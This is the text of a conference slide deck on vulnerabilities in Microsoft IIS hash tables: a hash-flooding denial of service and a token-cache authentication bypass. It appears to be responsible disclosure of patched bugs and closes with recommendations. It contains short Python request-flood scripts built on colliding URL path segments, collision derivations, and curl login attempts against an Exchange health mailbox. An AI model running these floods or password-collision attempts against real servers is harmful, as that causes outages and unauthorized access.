SlideShare a Scribd company logo
Let's Dance in the Cache:
Orange Tsai
Destabilizing Hash Table on Microsoft IIS
For a Protected Area
Th1s-1s-@-Sup3r-Str0ng-P@33w0rD!
DI1D8XF4 T9433W0N R04K85R8 OR7SHSQM 4IDF7LAU
T9ILKRJO DIO376UC 29WM5WPU XRXNHYS8 I0XVSRY7
4J4F29DY BA55FF5B VJ5QUDCJ XS9B66QE I1BICTG1
DJH24HH4 OSNADCSM FSNPV263 91T4TLRP 91UKBHBR
2AWCRJ5Z I212PEZ3 XT2A3HD6 MK4CSS3L OT844EAG
92D4O9UT FTM3BRCO FTNJ0N3Q 4KT30N6F 92TWJEJM
OU131W48 KC4U2MRT VL62A63D 93DWE2MQ OUFLIRN9
MLK1OC5L VLKKY1ME 2CONWY0F 03R2ZXJM AND MORE
DI1D8XF4 T9433W0N R04K85R8 OR7SHSQM 4IDF7LAU
T9ILKRJO DIO376UC 29WM5WPU XRXNHYS8 I0XVSRY7
4J4F29DY BA55FF5B VJ5QUDCJ XS9B66QE I1BICTG1
DJH24HH4 OSNADCSM FSNPV263 91T4TLRP 91UKBHBR
2AWCRJ5Z I212PEZ3 XT2A3HD6 MK4CSS3L OT844EAG
92D4O9UT FTM3BRCO FTNJ0N3Q 4KT30N6F 92TWJEJM
OU131W48 KC4U2MRT VL62A63D 93DWE2MQ OUFLIRN9
MLK1OC5L VLKKY1ME 2CONWY0F 03R2ZXJM AND MORE
All Passwords are Valid
Orange Tsai
• Specialize in Web and Application Vulnerability Research
• Principal Security Researcher of DEVCORE
• Speaker at Conferences: Black Hat USA/ASIA, DEFCON, HITB AMS/GSEC, POC,
CODE BLUE, Hack.lu, WooYun and HITCON
• Former Captain of HITCON CTF Team
• Selected Awards and Honors:
• 2017 - 1st place of Top 10 Web Hacking Techniques
• 2018 - 1st place of Top 10 Web Hacking Techniques
• 2019 - Winner of Pwnie Awards "Best Server-Side Bug"
• 2021 - Champion and "Master of Pwn" of Pwn2Own
• 2021 - Winner of Pwnie Awards "Best Server-Side Bug"
Outline
1. Introduction
2. Our Research
3. Vulnerabilities
4. Recommendations
Hash Table
The most underlying Data Structure in Computer Science
# Create a Hash Table
Table = {
"one": "apple",
"two": "banana",
}
Table["three"] = "lemon"
Table["four"] = "orange"
delete Table["two"]
What is Hash-Flooding Attack?
Drop all records into a same bucket
Degenerate the Hash Table to a single Linked-List
00 banana
01 lemon
02 orange
… …
13 apple
14 mango
15
QIH5VQ
7TZUCP
KJNT08
MN6RJL
TJDI4X
Key Set Buckets
00
01
02
03
04
05
…
25
26
27
28
29
30
31
HASH
FUNCTION
H(KEY) % 32
00 banana
01 lemon
02 orange
… …
13 apple
14 mango
15
QIH5VQ
7TZUCP
KJNT08
MN6RJL
TJDI4X
Key Set Buckets
00
01
02
03
04 AAAAAA
05
…
25
26
27
28
29
30
31
AA…
00 banana
01 lemon
02 orange
… …
13 apple
14 mango
15
QIH5VQ
7TZUCP
KJNT08
MN6RJL
TJDI4X
Key Set Buckets
00
01
02
03
04 AAAAAA
05
…
25
26
27
28
29
30
31
AA…
AA…
00 banana
01 lemon
02 orange
… …
13 apple
14 mango
15
QIH5VQ
7TZUCP
KJNT08
MN6RJL
TJDI4X
Key Set Buckets
00
01
02
03
04 AAAAAA
05
…
25
26
27
28
29
30
31
AA…
AA…
AA…
00 banana
01 lemon
02 orange
… …
13 apple
14 mango
15
QIH5VQ
7TZUCP
KJNT08
MN6RJL
TJDI4X
Key Set Buckets
00
01
02
03
04 AAAAAA
05
…
25
26
27
28
29
30
31
AA…
AA…
AA…
AA…
00 banana
01 lemon
02 orange
… …
13 apple
14 mango
15
QIH5VQ
7TZUCP
KJNT08
MN6RJL
TJDI4X
Key Set Buckets
00
01
02
03
04 AAAAAA
05
…
25
26
27
28
29
30
31
00
01
02
03
04 AAAAAA
05
…
25
26
27
28
29
30
31
QIH5VQ
7TZUCP
KJNT08
MN6RJL
TJDI4X
Key Set Buckets
AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA… AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA… AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA… AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA… AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA… AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA… AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA…
AA…
Average Case Worst Case
Insert 𝒪(1) 𝒪(n)
Delete 𝒪(1) 𝒪(n)
Search 𝒪(1) 𝒪(n)
𝒪(𝑛2
)
Insert n elements
Microsoft IIS Hash Table
Lots of data such as HTTP-Headers, Server-Variables, Caches and
Configurations are stored in Hash Table.
Microsoft's Two Hash Table
• TREE_HASH_TABLE
• LKRHash Table
TREE_HASH_TABLE
• The most standard code you have seen in your textbook
• Use chaining through Linked-List as the collision resolution
• Rehash all records at once when the table is unhealthy
• Combine DJB-Hash with LCGs as its Hash Function
LKRHash Table
• A successor of Linear Hashing, which aims to build a scalable
Hash Table on high-concurrent machines.
• Invented at Microsoft in 1997 (US Patent 6578131)
• Paul Larson - from Microsoft Research
• Murali Krishnan - from IIS Team
• George Reilly - from IIS Team
• Allow applications to customize their table-related functions such as
Key-Extractor, Hash-Calc and Key-Compare operations.
Outline
1. Introduction
2. Our Research
a) Hash Table Implementation
b) Hash Table Usage
c) IIS Cache Mechanism
3. Vulnerabilities
4. Recommendations
Hash Table Implementation
• Memory corruption bugs
• Logic bugs
• E.g. CVE-2006-3017 discovered by Stefan Esser - PHP didn't
distinguish the type of hash-key leads to unset() a wrong element.
• Algorithmic Complexity Attack such as Hash-Flooding Attack
Hash Table Usage
• Since LKRHash is designed to be a customizable implementation that
can be applied to various scenarios, applications have to configure
their own table-related functions during initialization.
• Is the particular function good?
• Is the logic of the Key-Calculation good?
• Is the logic of the record selection good?
• More and more…
HTTP.SYS
Windows Process
Activation Service
(WAS)
World Wild Web
Publishing Service
(W3SVC)
IISSvcs (svchost.exe)
HTTP.SYS
Windows Process
Activation Service
(WAS)
World Wild Web
Publishing Service
(W3SVC)
IISSvcs (svchost.exe)
<?xml version="1.0" encoding="UTF-8"?>
applicationHost.config
HTTP.SYS
Windows Process
Activation Service
(WAS)
World Wild Web
Publishing Service
(W3SVC)
IISSvcs (svchost.exe)
<?xml version="1.0" encoding="UTF-8"?>
applicationHost.config
HTTP.SYS
Windows Process
Activation Service
(WAS)
World Wild Web
Publishing Service
(W3SVC)
IISSvcs (svchost.exe)
Worker (w3wp.exe)
Initializing
iisutil.dll w3tp.dll
w3dt.dll …
iiscore.dll
<?xml version="1.0" encoding="UTF-8"?>
applicationHost.config
HTTP.SYS
Windows Process
Activation Service
(WAS)
World Wild Web
Publishing Service
(W3SVC)
IISSvcs (svchost.exe)
Worker (w3wp.exe)
IIS Modules
static.dll filter.dll
isapi.dll …
iislog.dll cachuri
Initializing
iisutil.dll w3tp.dll
w3dt.dll …
iiscore.dll
Native IIS Modules
CustomErrorModule
StaticCompression
HttpRedirection
CgiModule
ProtocolSupport
DefaultDocument
CustomLogging
DirectoryListing
WindowsAuthModule
RequestFiltering
FileCacheModule
HttpLoggingModule
TokenCacheModule
AnonymousAuthModule
HTTPCacheModule
StaticFileModule
IsapiModule
BasicAuthModule
UriCacheModule
DynamicCompression
…
Global Cache Provider/Handler
CustomErrorModule
StaticCompression
HttpRedirection
CgiModule
ProtocolSupport
DefaultDocument
CustomLogging
DirectoryListing
WindowsAuthModule
RequestFiltering
FileCacheModule
HttpLoggingModule
TokenCacheModule
AnonymousAuthModule
HTTPCacheModule
StaticFileModule
IsapiModule
BasicAuthModule
UriCacheModule
DynamicCompression
…
<?xml version="1.0" encoding="UTF-8"?>
applicationHost.config
HTTP.SYS
Windows Process
Activation Service
(WAS)
World Wild Web
Publishing Service
(W3SVC)
IISSvcs (svchost.exe)
Worker (w3wp.exe)
IIS Modules
static.dll filter.dll
isapi.dll …
iislog.dll cachuri
Initializing
iisutil.dll w3tp.dll
w3dt.dll …
iiscore.dll
Request-
Notify Events-
Request-Level Notify Events
PreExecuteRequestHandler
ExecuteRequestHandler
ReleaseRequestState
UpdateRequestCache
EndRequest
LogRequest
BeginRequest
AuthenticateRequest
AuthorizeRequest
ResolveRequestCache
AcquireRequestState
MapRequestHandler
Global-Level Notify Events
TraceEvent
ThreadCleanup
CacheCleanup
CacheOperation
…
CustomNotification
StopListening
ApplicationStart
ApplicationStop
HealthCheck
FileChange
ConfigurationChange
Request-Level Cache
BeginRequest
AuthenticateRequest
AuthorizeRequest
ExecuteRequest
MapRequest
LogRequest
EndRequest
…
FileCacheModule
cachFile.dll
TokenCacheModule
cachTokn.dll
UriCacheModule
cachUri.dll
HTTPCacheModule
cachHttp.dll
ResolveRequestCache
UpdateRequestCache
Global-Level Cache
BeginRequest
AuthorizeRequest
ResolveRequestCache
ExecuteRequest
MapRequest
UpdateRequestCache
LogRequest
EndRequest
…
AuthenticateRequest
FileCacheModule
cachFile.dll
TokenCacheModule
cachTokn.dll
UriCacheModule
cachUri.dll
HTTPCacheModule
cachHttp.dll
Raise Global Notification
GL_CACHE_OPERATION
Outline
1. Introduction
2. Our Research
3. Vulnerabilities
a) CVE-2022-22025 - IIS Hash Flooding Attack
by-default large-bounty demo
b) CVE-2022-22040 - IIS Cache Poisoning Attack
c) CVE-2022-30209 - IIS Authentication Bypass by-default demo
4. Recommendations
IIS Hash Flooding Attack
CVE-2022-22025
Hash Flooding Attack on IIS
• The Spoiler:
• TREE_HASH_TABLE: Vulnerable to Hash Flooding DoS by default.
• LKRHash: Vulnerable only If a poor Hash Function is configured.
[cb22] Lets Dance in the Cache Destabilizing Hash Table on Microsoft IIS by Orange Tsai
UriCacheModule
• Cache URI information and configuration
• Accessible by default
• Every URL access triggers a Hash Table Lookup / Insert / Delete
• Use TREE_HASH_TABLE
[cb22] Lets Dance in the Cache Destabilizing Hash Table on Microsoft IIS by Orange Tsai
0
50
100
150
200
250
5k 10k 15k 20k 25k 30k 35k 40k 45k 50k 55k 60k 65k 70k 75k 80k 85k 90k 95k 100k
Random Collision
Time of Every 1000 New Records
s
s
s
s
s
s
Why there are Jitters?
0
50
100
150
200
250
5k 10k 15k 20k 25k 30k 35k 40k 45k 50k 55k 60k 65k 70k 75k 80k 85k 90k 95k 100k
Random Collision
s
1 bool TREE_HASH_TABLE::InsertRecord(TREE_HASH_TABLE *this, void *record) {
2 /* omitting */
3 hashKey = this->vt->GetHashKey(this, record);
4 sig = TREE_HASH_TABLE::CalcHash(this, hashKey);
5 bucket = this->_ppBuckets[sig % this->_nBuckets];
6
7 /* check for duplicates */
8 while ( !bucket->_pNext ) {
9 /* traverse the linked-list */
10 }
11
12 /* add to the table */
13 ret = TREE_HASH_TABLE::AddNodeInternal(this, key, sig, keylen, bucket, &bucket);
14 if ( ret >= 0 ) {
15 TREE_HASH_TABLE::RehashTableIfNeeded(this);
16 }
17 }
1 bool TREE_HASH_TABLE::InsertRecord(TREE_HASH_TABLE *this, void *record) {
2 /* omitting */
3 hashKey = this->vt->GetHashKey(this, record);
4 sig = TREE_HASH_TABLE::CalcHash(this, hashKey);
5 bucket = this->_ppBuckets[sig % this->_nBuckets];
6
7 /* check for duplicates */
8 while ( !bucket->_pNext ) {
9 /* traverse the linked-list */
10 }
11
12 /* add to the table */
13 ret = TREE_HASH_TABLE::AddNodeInternal(this, key, sig, keylen, bucket, &bucket);
14 if ( ret >= 0 ) {
15 TREE_HASH_TABLE::RehashTableIfNeeded(this);
16 }
17 }
1 void TREE_HASH_TABLE::RehashTableIfNeeded(TREE_HASH_TABLE *this) {
2
3 if ( this->_nItems > TREE_HASH_TABLE::GetPrime(2 * this->_nBuckets) ) {
4 CReaderWriterLock3::WriteLock(&this->locker);
5 Prime = TREE_HASH_TABLE::GetPrime(2 * this->_nBuckets);
6
7 if ( this->_nItems > Prime && Prime < 0x1FFFFFFF ) {
8 ProcessHeap = GetProcessHeap();
9 newBuckets = HeapAlloc(ProcessHeap, HEAP_ZERO_MEMORY, 8 * Prime);
10
11 for ( i = 0 ; i < this->_nBuckets; i++ ) {
12 /* move all records to new table*/
13 }
14
15 this->_ppBuckets = newBuckets;
16 this->_nBuckets = Prime;
17 }
18 /* omitting */
19 }
20 }
Before Exploiting…
1. How much of the Hash-Key we can control?
2. How easy the Hash Function is collide-able?
Cache-Key Calculation
• For the given URL: http://server/foobar
MACHINE/WEBROOT/APPHOST/DEFAULT WEB SITE/FOOBAR
Site Name
Config Path Absolute Path
1 DWORD TREE_HASH_TABLE::CalcHash(wchar_t *pwsz) {
2 DWORD dwHash = 0;
3
4 for ( ; *pwsz; ++pwsz)
5 dwHash = dwHash * 101 + *pwsz;
6
7 return ((dwHash * 1103515245 + 12345) >> 16)
8 | ((dwHash * 69069 + 1) & 0xffff0000);
9 }
Hash Function
[cb22] Lets Dance in the Cache Destabilizing Hash Table on Microsoft IIS by Orange Tsai
“No.”
by Alech & Zeri from their awesome talk at 28c3
1 DWORD TREE_HASH_TABLE::CalcHash(wchar_t *pwsz) {
2 DWORD dwHash = 0;
3
4 for ( ; *pwsz; ++pwsz)
5 dwHash = dwHash * 101 + *pwsz;
6
7 return ((dwHash * 1103515245 + 12345) >> 16)
8 | ((dwHash * 69069 + 1) & 0xffff0000);
9 }
Variant of DJBX33A
Equivalent Substrings
ℎ33 "PS" = 331
× asc("P") + 330
× asc("S") = 2723
ℎ33 "Q2" = 331
× asc("Q") + 330
× asc("2") = 2723
= 331
× ℎ33 "Q2" + 330
× asc("A")
= ℎ33 "Q2A"
ℎ33 "PSA" = 331
× ℎ33 "PS" + 330
× asc("A")
ℎ33 "PSPS" = ℎ33 "PSQ2" = ℎ33 "Q2PS" = ℎ33 "Q2Q2"
ℎ101 "XR39M083" = ℎ101 "B94OS5T0" = ℎ101 "R04I46KN" = ℎ101 "..."
1 import requests
2 from itertools import product
3
4 MAGIC_TABLE = [
5 "XR39M083", "B94OS5T0", "R04I46KN", "DIO137NY", # ...
6 ]
7
8 for i in product(MAGIC_TABLE, repeat=8):
9 request.get( "http://iis/" + "".join(i) )
1 import requests
2 from itertools import product
3
4 MAGIC_TABLE = [
5 "XR39M083", "B94OS5T0", "R04I46KN", "DIO137NY", # ...
6 ]
7
8 for i in product(MAGIC_TABLE, repeat=8):
9 request.get( "http://iis/" + "".join(i) )
[cb22] Lets Dance in the Cache Destabilizing Hash Table on Microsoft IIS by Orange Tsai
Obstacles to make this not-
so-practical…
1. The increment is too slow
2. The Cache Scavenger
• A thread used to delete unused records every 30 seconds
[cb22] Lets Dance in the Cache Destabilizing Hash Table on Microsoft IIS by Orange Tsai
1 bool TREE_HASH_TABLE::InsertRecord(TREE_HASH_TABLE *this, void *record) {
2
3 /* omitting */
4
5 while ( i <= KeyLength ) {
6 if ( !SubKey[i] ) {
7 SubKeySig = TREE_HASH_TABLE::CalcHash(this, SubKey);
8 record = 0;
9 if ( i == KeyLength )
10 record = OrigRecord;
11
12 ret = TREE_HASH_TABLE::AddNodeInternal(this, SubKey, SubKeySig, record, ...);
13 if ( ret != 0x800700B7 )
14 break;
15 SubKey[i] = Key[i]; // Substitute the NUL-byte to slash
16 }
17 i = i + 1;
18 }
19 /* omitting */
20 }
Bad implementation for a rescue!
SEARCH
1. FindRecord(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD/EEEE/FFFF/GGGG/HHHH/...")
xx
1. InsertRecord(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD/EEEE/FFFF/GGGG/HHHH/...")
http://server/AAAA/BBBB/CCCC/DDDD/EEEE/FFFF/GGGG/HHHH/…
▶ SEARCH
▶ INSERT
SEARCH
1. FindRecord(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD/EEEE/FFFF/GGGG/HHHH/...")
xx
1. InsertRecord(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD/EEEE/FFFF/GGGG/HHHH/...")
2. AddNodeInternal(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD/EEEE/FFFF/GGGG/HHHH")
3. AddNodeInternal(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD/EEEE/FFFF/GGGG/")
4. AddNodeInternal(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD/EEEE/FFFF")
5. AddNodeInternal(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD/EEEE")
6. AddNodeInternal(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD")
7. AddNodeInternal(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC")
8. AddNodeInternal(key="<MACHINE-PREFIX>/AAAA/BBBB")
9. AddNodeInternal(key="<MACHINE-PREFIX>/AAAA")
http://server/AAAA/BBBB/CCCC/DDDD/EEEE/FFFF/GGGG/HHHH/…
▶ INSERT
▶ SEARCH
ℎ101 𝑃𝑎𝑡ℎ1
= ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2
= ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 + 𝑃𝑎𝑡ℎ3
= ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 + 𝑃𝑎𝑡ℎ3 + 𝑃𝑎𝑡ℎ4
= ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 + 𝑃𝑎𝑡ℎ3 + 𝑃𝑎𝑡ℎ4 + 𝑃𝑎𝑡ℎ5
= ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 + 𝑃𝑎𝑡ℎ3 + 𝑃𝑎𝑡ℎ4 + 𝑃𝑎𝑡ℎ5 + 𝑃𝑎𝑡ℎ6
= ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 + 𝑃𝑎𝑡ℎ3 + 𝑃𝑎𝑡ℎ4 + 𝑃𝑎𝑡ℎ5 + 𝑃𝑎𝑡ℎ6 + 𝑃𝑎𝑡ℎ7
http://server ?
/Path /Path /Path /Path /Path /Path /Path
ℎ101 𝑃𝑎𝑡ℎ1 = 0
= ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 = 0
= ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 + 𝑃𝑎𝑡ℎ3 = 0
= ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 + 𝑃𝑎𝑡ℎ3 + 𝑃𝑎𝑡ℎ4 = 0
= ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 + 𝑃𝑎𝑡ℎ3 + 𝑃𝑎𝑡ℎ4 + 𝑃𝑎𝑡ℎ5 = 0
= ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 + 𝑃𝑎𝑡ℎ3 + 𝑃𝑎𝑡ℎ4 + 𝑃𝑎𝑡ℎ5 + 𝑃𝑎𝑡ℎ6 = 0
= ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 + 𝑃𝑎𝑡ℎ3 + 𝑃𝑎𝑡ℎ4 + 𝑃𝑎𝑡ℎ5 + 𝑃𝑎𝑡ℎ6 + 𝑃𝑎𝑡ℎ7 = 0
http://server ?
/Path /Path /Path /Path /Path /Path /Path
Amplify the attack 10-times at least
by a slight modification
1 import requests
2 from itertools import product
3
4 ZERO_HASH_TABLE = [
5 "/HYBCPQOG", "/XOCZE29I", "/HWYDXRYR", "/289MICAP", # ...
6 ]
7
8 for i in ZERO_HASH_TABLE:
9 request.get( "http://iis/" + "2BDCKV6" + i*12 )
The Result
• Denial-of-Service on default installed Microsoft IIS
• About 30 requests per-second can make a 8-core and 32GB-ram server
unresponsive
• Awarded $30,000 by Windows Insider Preview Bounty Program
Demo
https://youtu.be/VtnDkzYPNCk
IIS Authentication Bypass
CVE-2022-30209
For a Protected Area
Th1s-1s-@-Sup3r-Str0ng-P@33w0rD!
DI1D8XF4 T9433W0N R04K85R8 OR7SHSQM 4IDF7LAU
T9ILKRJO DIO376UC 29WM5WPU XRXNHYS8 I0XVSRY7
4J4F29DY BA55FF5B VJ5QUDCJ XS9B66QE I1BICTG1
DJH24HH4 OSNADCSM FSNPV263 91T4TLRP 91UKBHBR
2AWCRJ5Z I212PEZ3 XT2A3HD6 MK4CSS3L OT844EAG
92D4O9UT FTM3BRCO FTNJ0N3Q 4KT30N6F 92TWJEJM
OU131W48 KC4U2MRT VL62A63D 93DWE2MQ OUFLIRN9
MLK1OC5L VLKKY1ME 2CONWY0F 03R2ZXJM AND MORE
All Passwords are Valid
You might be thinking…
• What's the root cause?
• How do I get those passwords?
• Which scenarios are vulnerable?
The login result cache…?
• Logon is an expensive operation so… Let's cache it!
• IIS by default cache windows security tokens for password-based
authentications such as Basic Auth or Client-Certificate Auth…
• A scavenger deletes unused records every 15 minutes :(
• Use LKRHash Table
Initializing a LKRHash Table
CLKRHashTable::CLKRHashTable(
this,
"TOKEN_CACHE", // An identifier for debugging
pfnExtractKey, // Extract key from record
pfnCalcKeyHash, // Calculate hash signature of key
pfnEqualKeys, // Compare two keys
pfnAddRefRecord, // AddRef in FindKey, etc
4.0, // Bound on the average chain length.
1, // Initial size of hash table.
0, // Number of subordinate hash tables.
0 // Allow multiple identical keys?
);
fnCalcKeyHash for Token Cache
1 DWORD pfnCalcKeyHash(wchar_t *Username, wchar_t *Password) {
2 DWORD i = 0, j = 0;
3
4 for ( ; *Username; ++Username)
5 i = i * 101 + *Username;
6
7 for ( ; *Password; ++Password)
8 j = j * 101 + *Password;
9
10 return i ^ j;
11 }
fnEqualKeys for Token Cache
1 DWORD pfnEqualKeys(TokenKey *this, TokenKey *that) {
2
3 if ( this->LoginMethod != that->GetLogonMethod() ||
4 strcmp(this->Username, that->GetUserName()) ||
5 strcmp(this->Username, that->GetUserName()) ) {
6 return KEY_MISMATCH;
7 }
8
9 return KEY_MATCH;
10 }
1 DWORD pfnEqualKeys(TokenKey *this, TokenKey *that) {
2
3 if ( this->LoginMethod != that->GetLogonMethod() ||
4 strcmp(this->Username, that->GetUserName()) ||
5 strcmp(this->Username, that->GetUserName()) ) {
6 return KEY_MISMATCH;
7 }
8
9 return KEY_MATCH;
10 }
Why did it compare the username twice?
1 DWORD pfnEqualKeys(TokenKey *this, TokenKey *that) {
2
3 if ( this->LoginMethod != that->GetLogonMethod() ||
4 strcmp(this->Username, that->GetUserName()) ||
5 strcmp(this->Username, that->GetUserName()) ) {
6 return KEY_MISMATCH;
7 }
8
9 return KEY_MATCH;
10 }
Would you like to guess why it compares twice?
pfnCalcKeyHash vs. pfnEqualKeys
Username and Password are involved Only Username is involved…
You can reuse another logged-in
token with random passwords
1. Every password has the success rate of Τ
1 232
2. Unlimited attempts during the 15-minutes time window.
Winning the Lottery
1. Increase the odds of the collision!
2. Exploit without user interaction - Regain the initiative!
3. Defeat the 15-minutes time window!
1. Increase the Probability
• 4.2 billions hashes under the key space of a 32-Bit Integer
• LKRHash Table uses LCGs to scramble the result
• The LCG is not one-to-one mapping under the key space of a 32-bit integer
DWORD CLKRHashTable::_CalcKeyHash(IHttpCacheKey *key) {
DWORD dwHash = this->pfnCalcKeyHash(key)
return ((dwHash * 1103515245 + 12345) >> 16)
| ((dwHash * 69069 + 1) & 0xffff0000);
}
13% of Success Rate
13% of Key Space
by pre-computing the password
2. Regain the Initiative
• The "Connect As" feature is commonly used in Virtual Hosting
or Web Hosting
Experiment Run!
• Windows Server is able to handle about 1,800 logins per-second
• Running for all day - (1800 × 86400) ÷ (232
× (1 − 0.13)) = 4.2%
The odds are already higher than an SSR
(Superior Super Rare) in Gacha Games…
Experiment Run!
• Windows Server is able to handle about 1,800 logins per-second
• Running for all day - (1800 × 86400) ÷ (232
× (1 − 0.13)) = 4.2%
• Running for 5 days - (1800 × 86400 × 5) ÷ (232
× (1 − 0.13)) = 20.8%
• Running for 12 days - (1800 × 86400 × 10) ÷ (232
× (1 − 0.13)) = 49.9%
• Running for 24 days - (1800 × 86400 × 24) ÷ (232
× (1 − 0.13)) = 100%
[cb22] Lets Dance in the Cache Destabilizing Hash Table on Microsoft IIS by Orange Tsai
3. Defeat the Time Window!
• In sophisticated modern applications, it's common to see:
1. background daemons that check the system health
2. background cron-jobs that poke internal APIs periodically
3. Defeat the Time Window!
• The token will be cached in the memory forever if:
1. The operations attach a credential
2. The time gap between each access is less than 15 minutes
Microsoft Exchange Server
Microsoft Exchange Server
• Active Monitoring Service:
• An enabled-by-default service to check the health of all services
• Check Outlook Web Access and ActiveSync with a credential
every 10 minutes!
$ curl "https://ex01/Microsoft-Server-ActiveSync/" ¥
-u "HealthMailbox31e866..@orange.local:000000"
HTTP/2 401
$ curl "https://ex01/Microsoft-Server-ActiveSync/" ¥
-u "HealthMailbox31e866..@orange.local:PASSWD"
HTTP/2 401
$ curl "https://ex01/Microsoft-Server-ActiveSync/" ¥
-u "HealthMailbox31e866..@orange.local:KVBVDE"
HTTP/2 505
❌
❌
✔️
KVBVDE
[cb22] Lets Dance in the Cache Destabilizing Hash Table on Microsoft IIS by Orange Tsai
Outline
1. Introduction
2. Our Research
3. Vulnerabilities
4. Recommendations
Recommendation
• About the Hash Table design
• Use PRFs such as SipHash/HighwayHash
• About the Cache Design
• The inconsistency is the king.
• Learn from history
• ❌ Limit the input size
• ❌ A secret to randomize the Hash Function
orange_8361
orange@chroot.org
Thanks!
https://blog.orange.tw

More Related Content

PDF
Attacker's Perspective of Active Directory
PDF
CNIT 121: 2 IR Management Handbook
PDF
[cb22] Keynote: Underwhelmed: Making Sense of the Overwhelming Challenge of C...
PPTX
Sticky Keys to the Kingdom
PPTX
AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It
PDF
Ese#5 pentest
PPTX
Office 365 Incident Response 2019 B-Sides Orlando
Attacker's Perspective of Active Directory
CNIT 121: 2 IR Management Handbook
[cb22] Keynote: Underwhelmed: Making Sense of the Overwhelming Challenge of C...
Sticky Keys to the Kingdom
AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It
Ese#5 pentest
Office 365 Incident Response 2019 B-Sides Orlando

What's hot (20)

PDF
What is Enterprise Security Architecture (ESA)?
PDF
Pentest with Metasploit
PPTX
Introduction To Vulnerability Assessment & Penetration Testing
PPTX
SINGLE SIGN-ON
PDF
4. Block Ciphers
PPTX
Pwning the Enterprise With PowerShell
PPTX
Outlook and Exchange for the bad guys
PDF
Sandbox Evasion Cheat Sheet
PDF
Hunting Lateral Movement in Windows Infrastructure
PPTX
Trusted Platform Module (TPM)
PDF
Microsoft's Implementation Roadmap for FIDO2
PDF
MindMap - Forensics Windows Registry Cheat Sheet
PDF
Windows Registry Auditing Cheat Sheet ver Oct 2016 - MalwareArchaeology
PPTX
Metasploit (Module-1) - Getting Started With Metasploit
PDF
Ace Up the Sleeve
PDF
Kernel Recipes 2017 - Understanding the Linux kernel via ftrace - Steven Rostedt
PDF
I Know Your P4$$w0rd (And If I Don't, I Will Guess It...)
PDF
ReCertifying Active Directory
PPTX
Cyber Threat Modeling
What is Enterprise Security Architecture (ESA)?
Pentest with Metasploit
Introduction To Vulnerability Assessment & Penetration Testing
SINGLE SIGN-ON
4. Block Ciphers
Pwning the Enterprise With PowerShell
Outlook and Exchange for the bad guys
Sandbox Evasion Cheat Sheet
Hunting Lateral Movement in Windows Infrastructure
Trusted Platform Module (TPM)
Microsoft's Implementation Roadmap for FIDO2
MindMap - Forensics Windows Registry Cheat Sheet
Windows Registry Auditing Cheat Sheet ver Oct 2016 - MalwareArchaeology
Metasploit (Module-1) - Getting Started With Metasploit
Ace Up the Sleeve
Kernel Recipes 2017 - Understanding the Linux kernel via ftrace - Steven Rostedt
I Know Your P4$$w0rd (And If I Don't, I Will Guess It...)
ReCertifying Active Directory
Cyber Threat Modeling
Ad

Similar to [cb22] Lets Dance in the Cache Destabilizing Hash Table on Microsoft IIS by Orange Tsai (20)

PDF
In Memory Database In Action by Tanel Poder and Kerry Osborne
PDF
Oracle Database In-Memory Option in Action
PDF
Using Apache Spark and MySQL for Data Analysis
PPT
Oracle Open World Thursday 230 ashmasters
PDF
Quick Wins
PDF
Analytics at Speed: Introduction to ClickHouse and Common Use Cases. By Mikha...
PDF
DOAG Security Day 2016 Enterprise Security Reloaded
PDF
200603ash.pdf Performance Tuning Oracle DB
PPT
Rmoug ashmaster
PDF
Михаил Епихин — Бутылочное горлышко. как найти узкие места сервиса и увеличит...
ODP
Beyond PHP - it's not (just) about the code
PDF
Profiling Oracle with GDB
PDF
Stacki: Remove Commands
PPTX
Top-5-production-devconMunich-2023-v2.pptx
PDF
Ash Outliers UKOUG2011
PDF
Profiling of Oracle Function Calls
PPTX
Patterns in the cloud
PPTX
Sql server scalability fundamentals
PDF
Troubleshooting Tips and Tricks for Database 19c ILOUG Feb 2020
PDF
Scaling the #2ndhalf
In Memory Database In Action by Tanel Poder and Kerry Osborne
Oracle Database In-Memory Option in Action
Using Apache Spark and MySQL for Data Analysis
Oracle Open World Thursday 230 ashmasters
Quick Wins
Analytics at Speed: Introduction to ClickHouse and Common Use Cases. By Mikha...
DOAG Security Day 2016 Enterprise Security Reloaded
200603ash.pdf Performance Tuning Oracle DB
Rmoug ashmaster
